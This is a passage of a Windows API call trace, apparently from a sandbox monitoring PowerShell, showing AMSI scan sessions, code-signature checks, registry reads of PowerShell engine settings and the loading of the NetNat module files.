AmsiScanString () returned 0x80070015 [0110.845] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0110.847] WTGetSignatureInfo () returned 0x0 [0110.972] CertDuplicateCertificateContext (pCertContext=0x737b6a8) returned 0x737b6a8 [0110.973] WinVerifyTrust () returned 0x0 [0110.973] CertFreeCertificateContext (pCertContext=0x737b6a8) returned 1 [0110.975] WTGetSignatureInfo () returned 0x0 [0111.002] CertDuplicateCertificateContext (pCertContext=0x737bab8) returned 0x737bab8 [0111.002] WinVerifyTrust () returned 0x0 [0111.002] CertFreeCertificateContext (pCertContext=0x737bab8) returned 1 [0111.141] WTGetSignatureInfo () returned 0x0 [0111.209] CertDuplicateCertificateContext (pCertContext=0x737b298) returned 0x737b298 [0111.209] WinVerifyTrust () returned 0x0 [0111.209] CertFreeCertificateContext (pCertContext=0x737b298) returned 1 [0111.210] WTGetSignatureInfo () returned 0x0 [0111.273] CertDuplicateCertificateContext (pCertContext=0x737b3d8) returned 0x737b3d8 [0111.273] WinVerifyTrust () returned 0x0 [0111.273] CertFreeCertificateContext (pCertContext=0x737b3d8) returned 1 [0111.277] WTGetSignatureInfo () returned 0x0 [0111.470] CertDuplicateCertificateContext (pCertContext=0x737b5b8) returned 0x737b5b8 [0111.470] WinVerifyTrust () returned 0x0 [0111.470] CertFreeCertificateContext (pCertContext=0x737b5b8) returned 1 [0111.471] WTGetSignatureInfo () returned 0x0 [0111.561] CertDuplicateCertificateContext (pCertContext=0x737b658) returned 0x737b658 [0111.562] WinVerifyTrust () returned 0x0 [0111.562] CertFreeCertificateContext (pCertContext=0x737b658) returned 1 [0111.563] WTGetSignatureInfo () returned 0x0 [0111.633] CertDuplicateCertificateContext (pCertContext=0x737bb58) returned 0x737bb58 [0111.633] WinVerifyTrust () returned 0x0 [0111.633] CertFreeCertificateContext (pCertContext=0x737bb58) returned 1 [0111.687] WTGetSignatureInfo () returned 0x0 [0111.785] CertDuplicateCertificateContext (pCertContext=0x737b6f8) returned 0x737b6f8 [0111.786] WinVerifyTrust () returned 0x0 [0111.786] CertFreeCertificateContext (pCertContext=0x737b6f8) returned 1 [0111.788] WTGetSignatureInfo () returned 0x0 [0111.886] CertDuplicateCertificateContext (pCertContext=0x737b748) returned 0x737b748 [0111.886] WinVerifyTrust () returned 0x0 [0111.886] CertFreeCertificateContext (pCertContext=0x737b748) returned 1 [0111.887] WTGetSignatureInfo () returned 0x0 [0112.031] CertDuplicateCertificateContext (pCertContext=0x737b428) returned 0x737b428 [0112.032] WinVerifyTrust () returned 0x0 [0112.032] CertFreeCertificateContext (pCertContext=0x737b428) returned 1 [0112.033] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0112.033] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0112.033] VarDecCmp (pdecLeft=0x843d044, pdecRight=0x843d034) returned 0x0 [0112.033] VarDecCmp (pdecLeft=0x843d024, pdecRight=0x843d014) returned 0x2 [0112.034] WTGetSignatureInfo () returned 0x0 [0112.208] CertDuplicateCertificateContext (pCertContext=0x737bba8) returned 0x737bba8 [0112.208] WinVerifyTrust () returned 0x0 [0112.208] CertFreeCertificateContext (pCertContext=0x737bba8) returned 1 [0112.210] WTGetSignatureInfo () returned 0x0 [0112.291] CertDuplicateCertificateContext (pCertContext=0x737b248) returned 0x737b248 [0112.292] WinVerifyTrust () returned 0x0 [0112.292] CertFreeCertificateContext (pCertContext=0x737b248) returned 1 [0112.410] AmsiCloseSession () returned 0x315cd38 [0112.410] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa2c [0112.643] WTGetSignatureInfo () returned 0x0 [0112.907] CertDuplicateCertificateContext (pCertContext=0x737b888) returned 0x737b888 [0112.908] WinVerifyTrust () returned 0x0 [0112.909] CertFreeCertificateContext (pCertContext=0x737b888) returned 1 [0112.909] AmsiOpenSession () returned 0x0 [0112.909] AmsiScanString () returned 0x80070015 [0113.043] WTGetSignatureInfo () returned 0x0 [0113.275] CertDuplicateCertificateContext (pCertContext=0x737b388) returned 0x737b388 [0113.275] WinVerifyTrust () returned 0x0 [0113.277] CertFreeCertificateContext (pCertContext=0x737b388) returned 1 [0113.278] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0113.278] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0113.278] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0113.278] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0113.278] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0113.278] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0113.278] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0113.278] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0113.278] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0113.278] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0113.278] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0113.278] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0113.278] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0113.278] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0113.278] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0113.278] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0113.278] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0113.278] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0113.278] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0113.278] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0113.278] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0113.278] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0113.278] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0113.279] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0113.279] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0113.279] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0113.400] AmsiCloseSession () returned 0x315cd38 [0113.400] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa40 [0113.542] WTGetSignatureInfo () returned 0x0 [0113.664] CertDuplicateCertificateContext (pCertContext=0x737b978) returned 0x737b978 [0113.664] WinVerifyTrust () returned 0x0 [0113.752] CertFreeCertificateContext (pCertContext=0x737b978) returned 1 [0113.752] AmsiOpenSession () returned 0x0 [0113.752] AmsiScanString () returned 0x80070015 [0113.767] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\en-US\\NetNat.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\en-us\\netnat.psd1")) returned 0xffffffff [0113.767] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\en\\NetNat.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\en\\netnat.psd1")) returned 0xffffffff [0113.767] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\NetNat.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0113.767] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\NetNat.psd1", nBufferLength=0x46, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\NetNat.psd1", lpFilePart=0x0) returned 0x45 [0113.767] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0113.767] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", nBufferLength=0x3a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", lpFilePart=0x0) returned 0x39 [0113.768] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d6e0 | out: phkResult=0x843d6e0*=0xa24) returned 0x0 [0113.768] RegQueryValueExW (in: hKey=0xa24, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x0, lpcbData=0x843d6fc*=0x0 | out: lpType=0x843d700*=0x1, lpData=0x0, lpcbData=0x843d6fc*=0x56) returned 0x0 [0113.768] RegQueryValueExW (in: hKey=0xa24, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x5412544, lpcbData=0x843d6fc*=0x56 | out: lpType=0x843d700*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d6fc*=0x56) returned 0x0 [0113.768] RegCloseKey (hKey=0xa24) returned 0x0 [0113.769] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.Types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnat.types.ps1xml")) returned 0x20 [0113.773] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.Types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnat.types.ps1xml")) returned 0x20 [0113.773] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.Types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnat.types.ps1xml")) returned 0x20 [0113.773] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d6e0 | out: phkResult=0x843d6e0*=0xa24) returned 0x0 [0113.774] RegQueryValueExW (in: hKey=0xa24, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x0, lpcbData=0x843d6fc*=0x0 | out: lpType=0x843d700*=0x1, lpData=0x0, lpcbData=0x843d6fc*=0x56) returned 0x0 [0113.774] RegQueryValueExW (in: hKey=0xa24, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x542013c, lpcbData=0x843d6fc*=0x56 | out: lpType=0x843d700*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d6fc*=0x56) returned 0x0 [0113.774] RegCloseKey (hKey=0xa24) returned 0x0 [0113.775] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnat.format.ps1xml")) returned 0x20 [0113.777] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnat.format.ps1xml")) returned 0x20 [0113.778] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnat.format.ps1xml")) returned 0x20 [0113.779] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0113.779] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\PSGetModuleInfo.xml", nBufferLength=0x4e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x4d [0113.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d728) returned 1 [0113.779] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x843d7a4 | out: lpFileInformation=0x843d7a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0113.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d724) returned 1 [0113.779] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnat.cdxml")) returned 0x20 [0113.780] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0113.780] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", nBufferLength=0x4c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", lpFilePart=0x0) returned 0x4b [0113.780] CoTaskMemAlloc (cb=0x20c) returned 0x73c10d0 [0113.780] GetSystemDirectoryW (in: lpBuffer=0x73c10d0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0113.780] CoTaskMemFree (pv=0x73c10d0) [0113.780] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0113.780] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0113.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2b0) returned 1 [0113.780] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d32c | out: lpFileInformation=0x843d32c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0113.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2ac) returned 1 [0113.781] GetSystemInfo (in: lpSystemInfo=0x843d360 | out: lpSystemInfo=0x843d360*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0113.781] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d2f0 | out: phkResult=0x843d2f0*=0xa24) returned 0x0 [0113.781] RegQueryValueExW (in: hKey=0xa24, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d30c, lpData=0x0, lpcbData=0x843d308*=0x0 | out: lpType=0x843d30c*=0x0, lpData=0x0, lpcbData=0x843d308*=0x0) returned 0x2 [0113.781] RegCloseKey (hKey=0xa24) returned 0x0 [0113.781] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0113.781] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", nBufferLength=0x4c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", lpFilePart=0x0) returned 0x4b [0113.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2dc) returned 1 [0113.781] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnat.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x54338d0 | out: lpFileInformation=0x54338d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbe5f0a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fbe5f0a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fbe5f0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1725)) returned 1 [0113.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2d8) returned 1 [0113.782] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0113.782] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", nBufferLength=0x4c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", lpFilePart=0x0) returned 0x4b [0113.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d29c) returned 1 [0113.782] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnat.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d318 | out: lpFileInformation=0x843d318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbe5f0a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fbe5f0a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fbe5f0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1725)) returned 1 [0113.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d298) returned 1 [0113.782] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0113.782] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", nBufferLength=0x4c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", lpFilePart=0x0) returned 0x4b [0113.782] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0113.782] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", nBufferLength=0x4c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", lpFilePart=0x0) returned 0x4b [0113.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d210) returned 1 [0113.782] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnat.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d28c | out: lpFileInformation=0x843d28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbe5f0a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fbe5f0a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fbe5f0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1725)) returned 1 [0113.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d20c) returned 1 [0113.782] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0113.782] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", nBufferLength=0x4c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", lpFilePart=0x0) returned 0x4b [0113.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d1e4) returned 1 [0113.782] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnat.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa24 [0113.783] GetFileType (hFile=0xa24) returned 0x1 [0113.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d1e0) returned 1 [0113.783] GetFileType (hFile=0xa24) returned 0x1 [0113.783] WTGetSignatureInfo () returned 0x0 [0113.993] CertDuplicateCertificateContext (pCertContext=0x73c41d0) returned 0x73c41d0 [0113.993] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d248 | out: phkResult=0x843d248*=0xa20) returned 0x0 [0113.994] RegQueryValueExW (in: hKey=0xa20, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x0, lpcbData=0x843d264*=0x0 | out: lpType=0x843d268*=0x1, lpData=0x0, lpcbData=0x843d264*=0x56) returned 0x0 [0113.994] RegQueryValueExW (in: hKey=0xa20, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x5433d98, lpcbData=0x843d264*=0x56 | out: lpType=0x843d268*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d264*=0x56) returned 0x0 [0113.994] RegCloseKey (hKey=0xa20) returned 0x0 [0113.994] CoTaskMemAlloc (cb=0x10) returned 0x7443d78 [0113.994] CoTaskMemAlloc (cb=0x30) returned 0x740d948 [0113.994] WinVerifyTrust () returned 0x0 [0113.995] CoTaskMemFree (pv=0x740d948) [0113.995] CoTaskMemFree (pv=0x7443d78) [0113.995] CertFreeCertificateContext (pCertContext=0x73c41d0) returned 1 [0113.995] CloseHandle (hObject=0xa24) returned 1 [0113.996] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0113.996] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", nBufferLength=0x4c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml", lpFilePart=0x0) returned 0x4b [0113.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d328) returned 1 [0113.996] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNat.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnat.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa24 [0113.996] GetFileType (hFile=0xa24) returned 0x1 [0113.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d324) returned 1 [0113.996] GetFileType (hFile=0xa24) returned 0x1 [0113.996] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x0 [0113.996] ReadFile (in: hFile=0xa24, lpBuffer=0x5434d70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x5434d70*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0113.996] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x1000 [0113.996] ReadFile (in: hFile=0xa24, lpBuffer=0x5434d70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x5434d70*, lpNumberOfBytesRead=0x843d390*=0x725, lpOverlapped=0x0) returned 1 [0113.996] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x1725 [0113.997] ReadFile (in: hFile=0xa24, lpBuffer=0x5434435, nNumberOfBytesToRead=0xdb, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x5434435*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0113.997] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) 